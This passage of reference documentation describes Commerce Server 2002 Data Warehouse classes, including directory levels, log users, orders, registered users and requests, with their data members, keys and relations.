Level4DirLevelDirRel | Level4Dir | LevelDir | 2
Level5DirLevelDirRel | Level5Dir | LevelDir | 2
Level6DirLevelDirRel | Level6Dir | LevelDir | 2
LevelDirURIRel | LevelDir | URI | 2


Level1Dir

This class represents the first level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName1 | WSTR | / | Stores the unique key for the object.

Class Key

Level1DirKey is composed of a single data member, DirName1.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level1DirLevelDirRel | Level1Dir | LevelDir | 2
URILevel1Dir2 | Level1Dir | URI | 2


Level2Dir

This class represents the second level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName2 | WSTR | * | Stores the unique key for the object.

Class Key

Level2DirKey is composed of a single data member, DirName2.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level2DirLevelDirRel | Level2Dir | LevelDir | 2
URILevel2Dir3 | Level2Dir | URI | 2


Level3Dir

This class represents the third level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName3 | WSTR | * | Stores the unique key for the object.

Class Key

Level3DirKey is composed of a single data member, DirName3.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level3DirLevelDirRel | Level3Dir | LevelDir | 2
URILevel3Dir4 | Level3Dir | LevelDir | 2


Level4Dir

This class represents the fourth level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName4 | WSTR | * | Stores the unique key for the object.

Class Key

Level4DirKey is composed of a single data member, DirName4.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level4DirLevelDirRel | Level4Dir | LevelDir | 2
URILevel4Dir5 | Level4Dir | LevelDir | 2


Level5Dir

This class represents the fifth level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName5 | WSTR | * | Stores the unique key for the object.

Class Key

Level5DirKey is composed of a single data member, DirName5.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level5DirLevelDirRel | Level5Dir | LevelDir | 2
URILevel5Dir6 | Level5Dir | LevelDir | 2


Level6Dir

This class represents the sixth and final level in a hierarchical directory structure. Each level contains a link to a URI object.

Data Members

Data Member Name | Data Type | Default Value | Description
DirName6 | WSTR | * | Stores the unique key for the object.

Class Key

Level6DirKey is composed of a single data member, DirName6.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Level6DirLevelDirRel | Level6Dir | LevelDir | 2
URILevel5Dir6 | Level6Dir | LevelDir | 2


LinkMVQStringName

This class links a SiteURL object to an MVQStringName object. The MVQStringName object represents a custom query string that queries multi-value columns in the data store.

Data Members

Data Member Name | Data Type | Default Value | Description
QStringName | WSTR128 | DEFAULT | None.
URL | WSTR | Unknown | None.

Class Key

LinkMVQStringNameKey is composed of the following data members:

SiteURLID + MVQStringNameID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
MVQStringNameLinkMVQStringNameRel | MVQStringName | LinkMVQStringName | 2
SiteURLLinkMVQStringNameRel | SiteURL | LinkMVQStringName | 2


LinkSVQStringName

This class links a SiteURL object to an SVQStringName object. The SVQStringName object represents a custom query string that queries single-value columns in the data store.

Data Members

Data Member Name | Data Type | Default Value | Description
QStringName | WSTR128 | DEFAULT | None.
URL | WSTR | Unknown | None.

Class Key

LinkSVQStringNameKey is composed of the following data members:

SiteURLID + SVQStringNameID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteURLLinkSVQStringNameRel | SiteURL | LinkSVQStringName | 2
SVQStringNameLinkSVQStringNameRel | SVQStringName | LinkSVQStringName | 2


LogImportJobSummary

This class tracks log import information such as start time and end time.

Data Members

Data Member Name | Data Type | Default Value | Description
EndTime | FILETIME | None | None.
SiteName | WSTR | Unknown | None.
StartTime | FILETIME | None | None.
TaskID | LONG | 0 | None.
TotalBadServerCount | LONG | None | None.
TotalBadSiteCount | LONG | None | None.
TotalExcludeCriteriaCount | LONG | None | None.
TotalExcludeHostCount | LONG | None | None.
TotalHits | LONG | None | None.
TotalImportHits | LONG | None | None.
TotalMatchCrawlerCount | LONG | None | None.
TotalVisits | LONG | None | None.

Class Key

LogImportJobSummaryKey is composed of the following data members:

SiteID + TaskID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
SiteLogImportJobSummaryRel | Site | LogImportJobSummary | 2
TaskHistoryLogImportJobSummaryRel | TaskHistory | LogImportJobSummary | 2


LogImportSubtask

This class is used by the Web Log Import DTS task to store information used by the Restart feature.

Data Members

Data Member Name | Data Type | Default Value | Description
ByteOffsetHigh | LONG | None | None.
ByteOffsetLow | LONG | None | None.
DateDirective | NVARCHAR | None | None.
FieldDirective | NVARCHAR | None | None.
FileName | NVARCHAR | Unknown | None.
ServerGroupName | WSTR | Unknown | Stores the unique key for the object.
SiteName | WSTR | Unknown | None.
SubTaskID | LONG | 0 | None.
TaskID | LONG | 0 | None.

Class Key

LogImportSubtaskKey is composed of the following data members:

SiteID + ServerGroupID + SubTaskID + TaskHistoryID + FileName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
ServerGroupLogImportSubtaskRel | ServerGroup | LogImportSubtask | 2
SiteLogImportSubtaskRel | Site | LogImportSubtask | 2
TaskHistoryLogImportSubtaskRel | TaskHistory | LogImportSubtask | 2


LogUser

This class stores information on user interactions with a Commerce Server 2002 Web site.

A visitor to a Commerce Server 2002 Web site is called a user. A LogUser object is created for every user and is used to record information about that user (such as cookie data, user name, and so on). A Visit object is created every time the user visits the Web site. The new Visit object is linked to the LogUser object for that user. A LogUser object may represent an anonymous user, a user who is associated with an organization, or a user who is registered on the Commerce Server 2002 Web site.

The Internet Protocol (IP) information for the user is stored in an IPRef object associated with the LogUser object. A HostNameRef object stores host name information for the IPRef object.

Because the LogUser, URI, and URIQuery classes are the largest classes in the Data Warehouse, they have been altered to increase their performance. These classes do not have formal reldef relationships; instead they have an application-specific relationship with their children. This relationship is defined in the schema for completeness and purposes of discovery through the provider, but is not used by the storage engine of the OLE DB Provider for Commerce Server for writing parent instances. In application-specific relationships, the joining between the child and parent is not through the parentID, LogUserID, but through the bigint 8 byte LogUserKey. Then the parentID, LogUserID, is set to a constant, 999.

If the LogUser class has a multi-value member, or if the class is involved in a many-to-many relationship, the LogUserID is populated just like any other dimension. The linking table would use the IDs as the linking key, but the child classes would still join them through the LogUserKey.

When adding a new relation to this class, you must update the stored procedure invoked for deleting orphans. Deleting information from this table without deleteing orphans is not supported. For more information about updating the stored procedure, see Deleting Orphan Data from the Data Warehouse.

This class cannot be changed to be updateable. In the ClsDef table, the IsTransactioned field for this class cannot be changed form 1 to 0.

Data Members

Data Member Name | Data Type | Default Value | Description
DateCreated | FILETIME | None | None.
HasCookie | SHORT | None | None.
IpAddress | WSTR | 0.0.0.0 | None.
UserDomainName | WSTR | None | Stores the Domain Name Service (DNS) domain name associated with the user.
UserId | WSTR | Unknown | None.
UserKey | INT64 | 0 | Stores the unique key for the object.
UserName | WSTR | Unknown | Stores the user name (cs-username) from a World Wide Web Consortium (W3C) formatted log file.

Class Key

LogUserKey is composed of a single data member, UserKey.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
IPRefUserRel | IPRef | LogUser | 2
LogUserBasketRel | LogUser | Basket | 5
LogUserCampaignEventRel | LogUser | CampaignEvent | 5
LogUserOrderRel | LogUser | Order | 5
LogUserRequestRel | LogUser | Request | 5
RegisteredUserUserRel | RegisteredUser | LogUser | 2
UserOpenUserVisit | LogUser | OpenUserVisit | 5
UserVisit | LogUser | Visit | 5
UserVisitInfo | LogUser | VisitInfo | 5


MVQStringName

This class represents the names for custom multi-value query strings. The MVQStringName object associates with a SiteURL object through a LinkMVQStringName object.

Data Members

Data Member Name | Data Type | Default Value | Description
QStringName | WSTR128 | DEFAULT | Stores the name of the multi-value query string. Key member.

Class Key

MVQStringNameKey is composed of a single data member, QStringName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
MVQStringNameLinkMVQStringNameRel | MVQStringName | LinkMVQStringName | 2


OpenUserVisit

This class represents a visit to a Web site that was open when the containing log files were imported. This allows the open visit to be connected and closed in the following log imports. After a visit is completed (closed), the OpenUserVisit object is deleted and a VisitInfo object is instantiated.

Data Members

Data Member Name | Data Type | Default Value | Description
CountOfRequest | ULONG | None | None.
FirstRequestNum | IDENTITY | None | None.
FirstTimeStamp | FILETIME | None | None.
FirstUriKey | INT64 | 0 | None.
LastRequestNum | IDENTITY | None | None.
LastTimeStamp | FILETIME | None | None.
LastUriKey | INT64 | 0 | None.
ReferrerDomainName | WSTR | Unknown | None.
SecondRequestNum | IDENTITY | None | None.
SecondUriKey | INT64 | 0 | None.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
UserAgentName | WSTR | Unknown | None.
UserId | WSTR | Unknown | None.
UserKey | INT64 | None | None.
VisitNum | IDENTITY | 0 | Stores the unique key for the object.

Class Key

OpenUserVisitKey is composed of a single data member, VisitNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
ReferrerDomainOpenUserVisit | ReferrerDomain | OpenUserVisit | 2
RegisteredUserOpenUserVisit | RegisteredUser | OpenUserVisit | 2
SiteOpenUserVisitRel | Site | OpenUserVisit | 2
TaskHistoryOpenUserVisitRel | TaskHistory | OpenUserVisit | 2
UriOpenUserVisit1 | URI | OpenUserVisit | 5 (Key is FirstUriKey)
UriOpenUserVisit2 | URI | VisitInfo | 5 (Key is SecondUriKey)
UserAgentOpenUserVisit | UserAgent | OpenUserVisit | 2


Order

This class stores requests to save or submit purchase orders.

Data Members

Data Member Name | Data Type | Default Value | Description
DTimestamp | FILETIME | (convert(datetime,'1900-1-1 0:0:0.0',121)) | None.
EventName | WSTR | Unknown | None.
ordergroup_id | UUID | {00000000-0000-0000-0000-000000000000} | None.
RequestIndex | SHORT | None | None.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
URIKey | INT64 | 0 | None.
UserId | WSTR | Unknown | None.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | None.

Class Key

No key is defined for this class. It is a dependent class.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateOrderTimeStamp | Date | Order | 2
EventTypeOrderRel | EventType | Order | 2
LogUserOrderRel | LogUser | Order | 5
OrderGroupOrderRel | OrderGroup | Order | 2
RegisteredUserOrderRel | RegisteredUser | Order | 2
SiteOrder | Site | Order | 2
TaskHistoryOrder | TaskHistory | Order | 2
UriOrder | URI | Order | 5
VisitOrderRel | Visit | Order | 5


OrderDiscount

This class represents discounted sale items. The class contains data members describing the items and conditions of the sale.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemNum | LONG | 0 | None.
DiscAwardExpr | LONG | None | None.
DiscAwardMax | LONG | None | Stores the maximum amount of discount awarded.
DiscClickRequired | SHORT | None | Indicates if a click is required to activate the discount.
DiscCondBasis | LONG | None | Stores the base condition code for the discount.
DiscCondExpr | LONG | None | None.
DiscCondMin | LONGREAL | None | Stores the minimum amount that must be spent before applying the discount.
DiscDescription | WSTR | None | Stores a description of the order discount item.
DiscDisjointCondAward | SHORT | None | Indicates if a disjoint condition exists governing award of the discount.
DiscExprUsedForDisplay | SHORT | None | Indicates if the discount item is used only for display.
DiscLimit | LONG | None | Stores the limit on discount item orders.
DiscNum | LONG | 0 | Stores the unique key for the object. Key member.
DiscOfferType LONG None Stores a code indicating the type of discount offer:
  • 1 - Flat amount
  • 2 - Percentage
DiscOfferValue | LONGREAL | None | Stores the value of the discount offer.
DiscOrderLevelDiscount | SHORT | None | None.
DiscQtyCondMin | LONG | None | Stores the minimum quantity required before the discount can be applied.
DiscRank | LONG | None | Stores the relative rank for the discount item.
DiscSpecialOfferType | WSTR | None | Stores a code indicating the type of special offer associated with the discount.
DiscTemplate | LONG | None | Stores the code for the template used for the discount item.
SiteName | WSTR | Unknown | Stores the name of the site associated with the object. Key member.

Class Key

OrderDiscountKey is composed of the following data members:

DiscNum + SiteName.Relations.

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
OrderDiscountCampaignItem | CampaignItem | OrderDiscount | 2


OrderFormHeader

This class represents the header information for an order form. An OrderFormHeader object has contact information, buyer information, and other data necessary to process an order form. An OrderFormHeader object links to zero or more OrderFormLineItems objects, representing the ordered items. An OrderGroup object, representing a purchase order, links to zero or more OrderFormHeader objects.

Data Members

Data Member Name | Data Type | Default Value | Description
billing_currency | WSTR | None | None.
buying_org_name | WSTR | None | Stores the name of the buyer organization.
cc_auth_number | WSTR | None | Stores the authorization code for the credit card.
d_DateCreated | DATETIME | None | None.
d_DateLastChanged | DATETIME | None | None.
g_UserIDChangedBy | WSTR | None | None.
order_currency | WSTR | None | None.
OrderForm_date | DATETIME | None | Stores the date of the order form.
OrderForm_date_UnNorm | DATETIME | None | None.
OrderForm_Id | UUID | {00000000-0000-0000-0000-000000000000} | Stores the second part of the unique key for the object.
ordergroup_id | UUID | {00000000-0000-0000-0000-000000000000} | Stores the first part of the unique key for the object.
po_number | WSTR | None | None.
receiver_email_address | WSTR | None | None.
receiver_fax_number | WSTR | None | None.
receiver_first_name | WSTR | None | Stores the first name of the receiver.
receiver_last_name | WSTR | None | Stores the last name of the receiver.
receiver_tel_number | WSTR | None | None.
saved_cc_expiration | WSTR | None | Stores the expiration code for the saved credit card.
saved_cc_number | WSTR | None | Stores the number of the saved credit card.
saved_cy_tax_total | CURRENCY | None | None.
saved_cy_total_total | CURRENCY | None | None.
selling_org_name | WSTR | None | Stores the name of the seller organization.
tax_exempt_code | WSTR | None | None.
tax_exempt_id | WSTR | None | None.
total_lineitems | LONG | None | None.
user_email_address | WSTR | None | Stores the e-mail address for the purchaser.
user_fax_number | WSTR | None | Stores the fax number for the purchaser.
user_first_name | WSTR | None | Stores the first name of the purchaser.
user_id | WSTR | None | Stores the user ID for the purchaser.
user_last_name | WSTR | None | Stores the last name of the purchaser.
user_name | WSTR | None | Stores the name of the purchaser.
user_org_id | WSTR | None | Stores the identifier of the organization for the purchaser.
user_org_name | WSTR | None | Stores the organization name of the purchaser.
user_tel_number | WSTR | None | Stores the phone number for the purchaser.

Class Key

OrderFormHeaderKey is composed of the following data members:

ordergroup_id + OrderForm_Id.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CurrencyCodeToOrderFormHeader | CurrencyCode | OrderFormHeader | 2
DateToOrderFormHeader | Date | OrderFormHeader | 2
OrderFormHeaderToOrderFormLineItems | OrderFormHeader | OrderFormLineItems | 2
OrderGroupToOrderFormHeader | OrderGroup | OrderFormHeader | 2


OrderFormLineItems

This class represents the items in an order form. An OrderFormHeader object, representing the information used to process the order form, links to zero or more OrderFormLineItems objects.

Data Members

Data Member Name | Data Type | Default Value | Description
cy_lineitem_total | CURRENCY | None | None.
cy_unit_price | CURRENCY | None | Stores the sales price of the item after any discounts or adjustments.
d_DateCreated | DATETIME | None | None.
d_DateLastChanged | DATETIME | None | None.
description | WSTR | None | None.
g_UserIDChangedBy | WSTR | None | None.
lineitem_id | WSTR | None | Key member.
OrderForm_id | UUID | {00000000-0000-0000-0000-000000000000} | Key member.
OrderGroup_id | UUID | {00000000-0000-0000-0000-000000000000} | Key member.
product_catalog | WSTR | None | None.
product_catalog_base | WSTR | None | None.
product_id | WSTR | None | None.
product_identifying_property | WSTR | None | None.
product_Variant_id | WSTR | None | None.
product_variant_identifying_property | WSTR | None | None.
ProductNameCat | WSTR400 | None | Stores the catalog name concatenated with the product name and the variant name.
quantity | LONG | None | None.
shipping_address_id | WSTR | None | None.
shipping_method_name | WSTR | None | None
tax_exempt_code | WSTR | None | None.
tax_id | WSTR | None | None.
unit_code | WSTR | None | None.

Class Key

OrderFormLineItemsKey is composed of the following data members:

lineitem_id + OrderForm_id + OrderGroup_id.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
OrderFormHeaderToOrderFormLineItems | OrderFormHeader | OrderFormLineItems | 2
OrderFormLineItemsToOrderGroupAddresses | OrderGroupAddresses | OrderFormLineItems | 2
OrderFormLineItemsToProducts | Products | OrderFormLineItems | 2
OrderGroupToOrderFormLineItems | OrderGroup | OrderFormLineItems | 2


OrderGroup

This class describes purchase order information. Specifically, the OrderGroup object links to one or more OrderFormHeader objects and one or more OrderGroupAddresses objects. The OrderFormHeader class represents control information for the purchase order such as billing codes, tax codes, and other data required to process the purchase order. The OrderFormHeader object links to one or more OrderFormLineItems objects, which describe the specific products to be purchased. The OrderGroupAddresses class represents mailing and shipping information for purchase orders.

Data Members

Data Member Name | Data Type | Default Value | Description
alt_currency | WSTR | None | Stores the alternate currency type for the order.
alt_lcid | LONG | None | Stores the alternate currency identifier code for the order.
billing_currency | WSTR | None | Stores the type of currency used in the order.
d_DateCreated | DATETIME | None | Stores the date the OrderGroup is created. This value is also set on the OrderForm, OrderFormLineItem, and OrderGroupAddresses when added to an OrderGroup.
d_DateLastChanged | DATETIME | None | Stores the date the order was last changed.
default_currency | WSTR | None | Stores the default type of currency used in the order.
default_lcid | LONG | None | Stores the local currency identifier code for the order.
g_UserIDChangedBy | UUID | None | Stores the globally unique identifier (GUID) of the user who last changed the order.
order_approval_decision_date | DATETIME | None | Records when the order was approved.
order_create_date | DATETIME | None | Records the date the order was created by the LoadBasket, AddItemsForUser, and SaveAsOrder methods.
order_number | WSTR | None | Stores the order number.
order_status_code | LONG | None | Stores a code indicating the status of the order. User definable.
ordergroup_id | UUID | {00000000-0000-0000-0000-000000000000} | Stores the unique key for the object.
previous_order_id | UUID | None | Store the previous order_id for the order, if it exists.
saved_cy_oadjust_subtotal | CURRENCY | None | Stores the adusted subtotal for the order.
saved_cy_total_total | CURRENCY | None | Stores the saved total for the order.
saved_order_name | WSTR | None | Stores the saved name for the order.
SiteName | WSTR | None | None.
total_lineitems | LONG | None | Stores the total number of line items.
user_first_name | WSTR | None | Stores the first name of the user associated with the order.
user_id | WSTR | None | Stores the universally unique identifier (UUID) of the user associated with the order.
user_last_name | WSTR | None | Stores the last name of the user associated with the order.
user_name | WSTR | None | Stores the full name of the user associated with the order.
user_org_name | WSTR | None | Stores the name of the organization associated with the order.

Class Key

OrderGroupKey is composed of a single data member, ordergroup_id.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateOrderGroup | Date | OrderGroup | 2
OrderGroupOrderRel | OrderGroup | Order | 2
OrderGroupSite | Site | OrderGroup | 2
OrderGroupToOrderFormHeader | OrderGroup | OrderFormHeader | 2
OrderGroupToOrderFormLineItems | OrderGroup | OrderFormLineItems | 2
OrderGroupToOrderGroupAddresses | OrderGroup | OrderGroupAddresses | 2
UserToOrderGroup | RegisteredUser | OrderGroup | 2


OrderGroupAddresses

This class represents mailing and shipping information for purchase orders.

Data Members

Data Member Name | Data Type | Default Value | Description
Address_id | WSTR | Unknown | Key member.
Address_Line1 | WSTR | None | None.
Address_Line2 | WSTR | None | None.
Address_Name | WSTR | None | None.
Address_type | LONG | None | None.
City | WSTR | None | None.
country_code | WSTR | None | None.
Country_Name | WSTR | None | None.
d_DateCreated | DATETIME | None | None.
d_DateLastChanged | DATETIME | None | None.
First_Name | WSTR | None | None.
g_UserIDChangedBy | UUID | None | None.
Last_Name | WSTR | None | None.
OrderGroup_id | UUID | {00000000-0000-0000-0000-000000000000} | Key member.
Postal_Code | WSTR | None | None.
region_code | WSTR | None | None.
region_name | WSTR | None | None.
tel_number | WSTR | None | None.

Class Key

OrderGroupAddressesKey is composed of the following data members:

Address_id + OrderGroup_id.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
OrderFormLineItemsToOrderGroupAddresses | OrderGroupAddresses | OrderFormLineItems | 2
OrderGroupToOrderGroupAddresses | OrderGroup | OrderGroupAddresses | 2


PageGroup

This class represents a group of custom content items used on a Web page for a marketing campaign. The page is part of one or more marketing campaign events; a link from the PageGroup object to one or more CampaignEvent objects represents this information. CampaignItem objects represent the custom content items, and link to the PageGroup object through one or more PageGroupXRef objects.

Data Members

Data Member Name | Data Type | Default Value | Description
PgDescription | WSTR | None | Stores a description of the Web page.
PgNum | LONG | 0 | Stores the unique key for the object.
PgTag | WSTR | No Pagegroup | Stores the HTML tag associated with the Web page.
SiteName | WSTR | Unknown | Key member.

Class Key

PageGroupKey is composed of the following data members:

PgNum + SiteName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
PageGroupCampaignEventRel | PageGroup | CampaignEvent | 2
PageGroupPageGroupXRefRel | PageGroup | PageGroupXRef | 2


PageGroupXRef

This class cross-references custom Web page content with the Web page or logical set of Web pages that contain the content. A PageGroupXRef associates a CampaignItem object, which describes the custom content, with a PageGroup object. The PageGroup object represents a Web page or logical set of Web pages that contains custom content.

A single piece of custom content may span multiple Web pages; this is represented by a CampaignItem object linked to multiple PageGroupXRef objects. A single Web page or logical set of Web pages may have multiple separate content items; this is represented by a PageGroup object linked to multiple PageGroupXRef objects.

Data Members

Data Member Name | Data Type | Default Value | Description
CampItemNum | LONG | 0 | Key member.
PgNum | LONG | 0 | Key member.
SiteName | WSTR | None | Stores the name of the site associated with the object.

Class Key

PageGroupXRefKey is composed of the following data members:

CampItemNum + PageNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
CampaignItemPageGroupXRefRel | CampaignItem | PageGroupXRef | 2
PageGroupPageGroupXRefRel | PageGroup | PageGroupXRef | 2


Products

This class represents the products contained in a sales catalog.

Data Members

Data Member Name | Data Type | Default Value | Description
CatalogName | WSTR | None | Stores the name of the catalog containing the product.
CategoryNameCat | WSTR400 | None | Stores the catalog name concatenated with the category name containing the product.
cy_list_price | CURRENCY | None | None.
PrimaryParentCategory | WSTR | None | None.
ProductNameCat | WSTR400 | None | Stores the catalog name concatenated with the product name and the variant name.
ProductId | WSTR | None | None.
VariantId | WSTR | None | None.

Class Key

ProductsKey is composed of a single data member, ProductNameCat.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
Category | Category | Products | 3
ProductsBasketRel | Products | Basket | 2
OrderFormLineItemsToProducts | Products | OrderFormLineItems | 2


Referrer

This class represents the referring Uniform Resource Locator (URL) for a request.

Data Members

Data Member Name | Data Type | Default Value | Description
ReferrerURL | WSTR | No Referrer | Stores the unique key for the object.

Class Key

ReferrerKey is composed of a single data member, ReferrerURL.

Relations

No relations are defined for this class.


ReferrerDomain

This class represents the referring domain for a request.

Data Members

Data Member Name | Data Type | Default Value | Description
ReferrerDomainName | WSTR | None | Stores the unique key for the object.

Class Key

ReferrerDomainKey is composed of a single data member, ReferrerDomainName.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
ReferrerDomainOpenUserVisit | ReferrerDomain | OpenUserVisit | 2
ReferrerDomainRequest | ReferrerDomain | Request | 2
ReferrerDomainVisitInfo | ReferrerDomain | VisitInfo | 2


RegisteredUser

This class represents user profile data. By default, the Commerce Server 2002 User Profile Data Import Data Transformation Services (DTS) Task imports data from the UserObject table into this class. Data in this table may or may not correspond to users of the Commerce Server 2002 Web site. This is because the site developer is free to modify the schema of the user's profile. If the site developer adds new properties to the schema, these properties will automatically be added using the DTS task if the Export to Data Warehouse option is used in Commerce Server Business Desk.

Data Members

Data Member Name | Data Type | Default Value | Description
AccountClass | LONG | None | Stores a classification code for the user account.
AccountStatus | LONG | None | Stores the account status for the user: 0 - inactive 1 - active
ApprovalLimit | LONG | None | Stores the approved spending limit for the user.
ApprovalLimitCurrency | WSTR | None | Stores the type of currency for the spending limit.
ApprovingManagerID | LONG | None | Stores an identifier code for the manager who approved the spending limit for the user.
AuthType | SHORT | None | Stores the type of authentication required for the user.
DateCreated | FILETIME | None | Records the time the object was created.
DateLastChanged | FILETIME | None | Records the time the object was last changed.
DateRegistered | FILETIME | None | Records the date and time when the user registered on the site.
DefaultBlanketPONumber | WSTR | None | Stores the default purchase order number for the user.
DefaultBlanketPOProfileID | LONG | None | Stores the default purchase order profile ID.
DefaultCostCenterNumber | WSTR | None | Stores the default cost center identifier.
DefaultCostCenterProfileID | LONG | None | Stores the default cost center profile identifier.
Email | WSTR | None | Stores the e-mail address for the user.
EmployeeClassID | LONG | None | Stores a classification code for the user employee ID.
FaxNumber | WSTR | None | Stores the fax number of the user.
FirstName | WSTR | None | Stores the first name of the user.
ID | UUID | {00000000-0000-0000-0000-000000000000} | None.
IDCode | WSTR | None | Stores a code for the user ID.
IDCodeQualifier | WSTR | None | Stores a code for the qualifier of the user identification.
LastName | WSTR | None | Stores the last name of the user.
LocationID | LONG | None | Not used.
Logon_Name | WSTR | None | Stores the logon name of the user.
Name | WSTR | None | Not used.
OrgID | WSTR | None | Stores an identifier of the organization for the user.
ShipToID | LONG | None | Not used.
ShipToMethodCode | LONG | None | Stores a code for the method of shipping preferred by the user.
SiteName | WSTR | Unknown | None.
SiteTermKey | WSTR48 | {00000000-0000-0000-0000-000000000000} | None.
TelephoneNumber | WSTR | None | Stores the phone number of the user.
UserID | WSTR | Unknown | Stores the unique key for the object.
UserIDChangedBy | WSTR | None | Records who last changed/set the UserID.
UserTitle | WSTR | None | Stores the title of the user.
UserType | LONG | 0 | Stores the user type: 0 - Anonymous 1 - Registered

Class Key

RegisteredUserKey is composed of a single data member, UserID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
AddressUserRel | Address | RegisteredUser | 2
RegisteredUserBasketRel | RegisteredUser | Basket | 2
RegisteredUserCampaignEventRel | RegisteredUser | CampaignEvent | 2
RegisteredUserOpenUserVisit | RegisteredUser | OpenUserVisit | 2
RegisteredUserOrderRel | RegisteredUser | Order | 2
RegisteredUserRequestRel | RegisteredUser | Request | 2
RegisteredUserUserRel | RegisteredUser | LogUser | 2
RegisteredUserVisitInfoRel | RegisteredUser | VisitInfo | 2
SiteRegisteredUserRel | Site | RegisteredUser | 3
SiteTermRegisterdUserRel | SiteTerm | RegisteredUser | 3
UserToOrderGroup | RegisteredUser | OrderGroup | 2


Request

This class represents a request made in the context of a visit. A Request object connects to information describing the user and other details of the visit.

A request may be a part of a Uniform Resource Identifier (URI), in which case a URI object is linked to the Request object. The query string contained in the URI is represented by a URIQuery object linked to the Request object.

Alternatively, a Request may be made through a site Uniform Resource Locator (URL). The site URL is represented by a SiteURL object linked to the Request object through a URI object. The SiteURL object may represent an actual Web site or a virtual server. If the Request object involves query strings through the site, the SiteURL object will have one or more LinkSVQStringName or LinkMVQStringName objects linking the SiteURL object to the query strings.

Data Members

Data Member Name | Data Type | Default Value | Description
BytesReceived | LONGREAL | None | Stores the number of bytes received while processing the request.
BytesSent | LONGREAL | None | Stores the number of bytes sent while processing the request.
HasCommerceEvent | SHORT | None | None.
HttpStatus | ULONG | 0 | None.
IsRequest | SHORT | None | Identifies the object as a request or a link between a Visit object and Web configuration objects. 0 – Link 1 - Request
IsSecure | SHORT | None | None.
QueryStringKey | INT64 | 0 | None.
ReferrerDomainName | WSTR | Unknown | None.
RequestIndex | SHORT | None | None.
RequestNum | IDENTITY | 0 | Stores the unique key for the object.
SiteName | WSTR | Unknown | None.
TaskID | LONG | 0 | None.
Timestamp | FILETIME | None | Records the time the object was created.
URI | WSTR | Unknown | None.
URIKey | INT64 | 0 | None.
UserAgentName | WSTR | Unknown | None.
UserID | WSTR | Unknown | None.
UserKey | INT64 | 0 | None.
VisitNum | IDENTITY | 0 | None.
Win32Status | ULONG | 0 | None.

Class Key

RequestKey is composed of a single data member, RequestNum.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
HttpStatusRequest | HttpStatus | Request | 2
LogUserRequestRel | LogUser | Request | 5
ReferrerDomainRequest | ReferrerDomain | Request | 2
RegisteredUserRequestRel | RegisteredUser | Request | 2
RequestVisitInfoRel1 | Request | VisitInfo | 5 (Key is FirstRequestNum)
RequestVisitInfoRel2 | Request | VisitInfo | 5 (Key is SecondRequestNum)
RequestVisitInfoRel3 | Request | VisitInfo | 5 (Key is LastRequestNum)
SiteRequestRel | Site | Request | 2
TaskHistoryRequestRel | TaskHistory | Request | 2
UriQueryRequest | UriQuery | Request | 5
UriRequest | URI | Request | 5
UserAgentRequest | UserAgent | Request | 2
VisitRequestRel | Visit | Request | 5
Win32StatusRequest | Win32Status | Request | 2


RequestByDateByUriByQueryString

The class represents a summarization of information about the date, query string and URI key.

Data Members

Data Member Name | Data Type | Default Value | Description
Date | FILETIME | 1900-1-1 0:0:0.0 | None.
QueryStringKey | INT64 | 0 | Key member.
RequestCount | LONG | 0 | None.
SiteName | WSTR | None | None.
TaskID | LONG | 0 | None.
uriKey | INT64 | 0 | Key member.

Class Key

RequestByDateByUriByQueryStringKey is composed of the following data members:

DateID + uriKey + QueryStringKey + SiteID + TaskHistoryID.

Relations

For a description of the relation type, see Data Warehouse Classes.

Relation Name | Parent | Child | Type
DateRequestByDateByUriByQueryString | Date | RequestByDateByUriByQueryString | 2
SiteRequestByDateByUriByQueryString | Site | RequestByDateByUriByQueryString | 2
TaskHistoryRequestByDateByUriByQueryString | TaskHistory | RequestByDateByUriByQueryString | 2
uriRequestByDateByUriByQueryString | URI | RequestByDateByUriByQueryString | 5
UriQueryRequestByDateByUriByQueryString | UriQuery | RequestByDateByUriByQueryString | 5


ServerBinding

